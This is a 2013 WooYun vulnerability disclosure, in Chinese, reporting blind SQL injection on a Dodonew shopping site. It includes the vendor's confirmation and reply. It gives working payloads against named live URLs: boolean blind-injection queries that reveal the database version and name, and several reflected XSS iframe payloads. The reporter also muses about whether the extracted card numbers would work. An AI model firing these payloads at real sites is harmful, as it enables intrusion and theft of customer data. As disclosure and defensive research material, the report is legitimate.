嘟嘟牛某站盲注

漏洞概要

缺陷编号:WooYun-2013-018014

漏洞标题:嘟嘟牛某站盲注

相关厂商:嘟嘟牛

漏洞作者:瘦蛟舞

提交时间:2013-01-28 17:22

公开时间:2013-03-14 17:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2013-01-28: 细节已通知厂商并且等待厂商处理中
2013-01-29: 厂商已经确认,细节仅向厂商公开
2013-02-08: 细节向核心白帽子及相关领域专家公开
2013-02-18: 细节向普通白帽子公开
2013-02-28: 细节向实习白帽子公开
2013-03-14: 细节向公众公开

简要描述:

据说有礼物~
射出来的卡能用么?没实验=-=~

详细说明:

blind sqli确定为mysql 5.xhttp://mall.dodonew.com/checkoutCounter/game/game.jsp?gameName=1+and+left(version(),1)=5&remark=当前DB名长度为8http://mall.dodonew.com/checkoutCounter/game/game.jsp?gameName=1+and+length(database())=8%23&remark=DB名第一个字符为dhttp://mall.dodonew.com/checkoutCounter/game/game.jsp?gameName=1+and+left(database(),1)='d'%23&remark=......................DB名为dodocardhttp://mall.dodonew.com/checkoutCounter/game/game.jsp?gameName=1+and+left(database(),8)='dodocard'%23&remark=......................还是工具吧~

漏洞证明:

修复方案:

附送几个xsshttp://mall.dodonew.com/checkoutCounter/game/game.jsp?gameName=1"><iframe onload=alert(/xss/)>&remark=http:[email protected]"></iframe><iframe onload=alert(/xss/)>http://mall.dodonew.com/card/phoneInformation.jsp?cardpwd=2&getArea=0&marketPrice=&phoneArea1=&radioPhone="><iframe onload=alert(/xss/)>http://mall.dodonew.com/card/gameNew.jsp?address=&gameId=543"></iframe><iframe onload=alert(/xss/)>http://mall.dodonew.com/card/gameNew.jsp?address=//www.baidu.com&gameId=543&special=1

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-01-29 09:35

厂商回复:

漏洞之前有朋友已经发现了,目前修复中,还是感谢 瘦蛟舞 关注
礼物申请中

最新状态:

暂无

评价

  1. 2010-01-01 00:00 Coody 白帽子 | Rank:1303 漏洞数:118)

    据说有礼物,但是至今未收到~_~

  2. 2010-01-01 00:00 瘦蛟舞 白帽子 | Rank:634 漏洞数:67)

    @Coody 要体谅别人,管wooyun账号的都不是老板~心意到了就成。。